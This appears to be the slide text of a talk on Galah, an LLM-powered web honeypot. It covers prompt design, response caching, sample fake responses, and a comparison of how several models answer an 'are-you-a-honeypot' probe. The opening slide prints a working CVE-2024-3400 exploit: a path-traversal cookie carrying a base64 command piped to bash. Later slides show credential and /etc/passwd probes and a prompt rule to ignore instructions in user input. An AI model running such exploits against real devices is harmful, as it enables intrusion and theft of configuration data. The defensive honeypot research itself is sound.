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globalProtect 0day exploit
CVE-2024-3400, unauthenticated RCE

curl -i 'http://127.0.0.1:8080/global-protect/login.esp' --cookie 

"SESSID=.././.././.././.././.././.././.././.././../opt/panlogs/tmp/

device_telemetry/minute/'}|{echo,Y3AgL29wdC9wYW5jZmcvbWdtdC9zYXZlZC1j

b25maWdzL3J1bm5pbmctY29uZmlnLnhtbCAvdmFyL2FwcHdlYi9zc2x2cG5kb2NzL2dsb

2JhbC1wcm90ZWN0L2Rrc2hka2Vpc3NpZGpleXVrZGwuY3Nz}|{base64,-d}|bash|"



🤖 100% llm generated



🤖 100% llm generated
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tbh, the responses aren't always that great! 
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log4j exploit attempt
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log4j exploit attempt

//honeypot response

The server has detected a suspicious request and 
has blocked the execution of the command. Please 
refrain from attempting to exploit vulnerabilities 
on this server.
Your actions are being monitored and any further 
unauthorized attempts will result in legal action.



whoami
Adel “0x4d31” Karimi
 🔎 🍯 🤖 👾 📷 🌌 ⛰ 
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whoami
Adel “0x4d31” Karimi
 🔎 🍯 🤖 👾 📷 🌌 ⛰ 
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goals
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why llm based honeypot?
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why llm based honeypot?
why not?
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why llm based honeypot?
waste attackers’ time
with faker-than-ever http responses ®
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let the attackers suffer from llm hallucinations too! 😈



why llm based honeypot?
waste attackers’ time
improve honeypots
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why llm based honeypot?
waste attackers’ time
improve honeypots
+attackers’ engagement
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why llm based honeypot?
waste attackers’ time
improve honeypots
+attackers’ engagement
evaluate llms
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🍯 introduction



how do
traditional web honeypots
work?
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mimic numerous apps 
with 1 prompt
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0x4D31/galah

enter,
galah! 

🦜



😈 ��http req.
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😈 http req.
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⚙rule 
config
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response template
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😈 http req.

⚙rule 
config

🗂cache

response cache check
reverse ip lookup & known scanners
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😈 http req.

⚙rule 
config

��system
& user

prompt

🗂cache



instructions

prompt

analyse http req.
emulate target app
 no stupid things

generate resp.
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prompt

output format

🙏 output in 
specified json fmt 

w/ an example
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prompt

primary content

task reminder,
input http request,
ignore instructions 

from user input
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😈 http req.

⚙rule 
config

��system
& user

prompt

llm

supports | main llm providers 
         | ollama for open models

��

🗂cache
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😈 http req.

⚙rule 
config

��system
& user

prompt

llm
http resp.

🗂cache
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😈 http resp.

⚙rule 
config

��system
& user

prompt

llm
http resp.

validate json,
prepare & cache, 

send & log

🗂cache



json 
output

invalid json
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invalid json
truncated resp.

json 
output
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invalid json
truncated resp.
markdown code block ```

json 
output
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invalid json
truncated resp.
markdown code block ```
preamble / intro json 

output
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invalid json
truncated resp.
markdown code block ```
preamble / intro json 

outputNO TALK, JUST DO!
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curl -i galah:8080/.aws/credentials

HTTP/1.1 200 OK
Date: Sun, 26 May 2024 16:37:26 GMT
Content-Length: 116
Content-Type: text/plain; charset=utf-8

[default]
aws_access_key_id = AKIAIOSFODNN7EXAMPLE
aws_secret_access_key = wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
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curl -i galah:8080/sys.php?file=../etc/passwd

HTTP/1.1 200 OK
Server: Apache/2.4.38
Date: Sun, 26 May 2024 17:03:45 GMT
Content-Length: 560
Content-Type: text/plain; charset=utf-8

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
...
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live demo?
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impressed?
adversarial testing now!



model: openai's gpt-4

curl -i galah:8888/are-you-a-honeypot
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model: openai's gpt-4

curl -i galah:8888/are-you-a-honeypot

Connection: close
Content-Length: 20
Content-Type: text/plain
Server: Apache/2.4.41 (Ubuntu)

No, I am a server.
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the other models' answers to this request 
aren't any better



47

/are-you-a-honeypot?

model: anthropic’s claude-3-5-sonnet

No, this is not a honeypot. This is a legitimate web service



/are-you-a-honeypot?

model: anthropic’s claude-3-5-sonnet

No, this is not a honeypot. This is a legitimate web service

model: anthropic’s claude-3-opus

<!DOCTYPE html><html><head><title>Honeypot Check</title> 
</head><body><h1>Nope, this isn't a honeypot! Just a normal 
web server here, nothing to see...</h1><p>But since you're 
asking, why don't you try some of our other exciting pages and 
features? ;)</p></body></html>
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/are-you-a-honeypot?

model: anthropic’s claude-3-5-sonnet

No, this is not a honeypot. This is a legitimate web service

model: anthropic’s claude-3-opus

<!DOCTYPE html><html><head><title>Honeypot Check</title> 
</head><body><h1>Nope, this isn't a honeypot! Just a normal 
web server here, nothing to see...</h1><p>But since you're 
asking, why don't you try some of our other exciting pages and 
features? ;)</p></body></html>

model: meta’s llama3

Congratulations, you've triggered our honeypot!
You're a clever attacker, but we're not impressed.
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/are-you-a-honeypot?

model: google’s codegemma-7b

<h1>HoneyPot Activated</h1><p>This server is a honeypot. 
Please do not attempt to interact with it.</p>

model: mistral

You've found a honeypot!
Enjoy exploring, but remember,
this is not a real service.
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/are-you-a-honeypot?

model: google’s codegemma-7b

<h1>HoneyPot Activated</h1><p>This server is a honeypot. 
Please do not attempt to interact with it.</p>

model: mistral

You've found a honeypot!
Enjoy exploring, but remember,
this is not a real service.

open models are more honest!?



how about reasoning models?

o1-mini
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how about reasoning models?

o1-mini
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how about reasoning models?

o1-preview
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how about reasoning models?

o1-preview
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✅



creative & 
random 🤪

sampling
temperature

deterministic
& repetitive

0   1 2
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dataset
57

claude-3-5-sonnet, claude-3-5-opus, claude-3
gemma2, codegemma-7b-instruct
llama3, codellama-7b-instruct
gemini-1.0-pro, gemini-1.5-flash, gemini-1.5-pro
gpt-3.5-turbo, gpt-4-turbo, gpt-4o-mini, gpt-4o
command-r-plus
mistral
phi3

https://github.com/0x4D31/galah/tree/main/data 

https://github.com/0x4D31/galah/tree/main/data


final 
thoughts
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enhanced attackers’
engagement?
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enhanced attackers’
engagement?
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open http proxy;
ad fraud!?
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btw, this is how llms think the internet works!
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Open Sourcing Venator

blog: detect.fyi/open-sourcing-venator-b94374e30a55
repo: github.com/nianticlabs/venator



0x4D31
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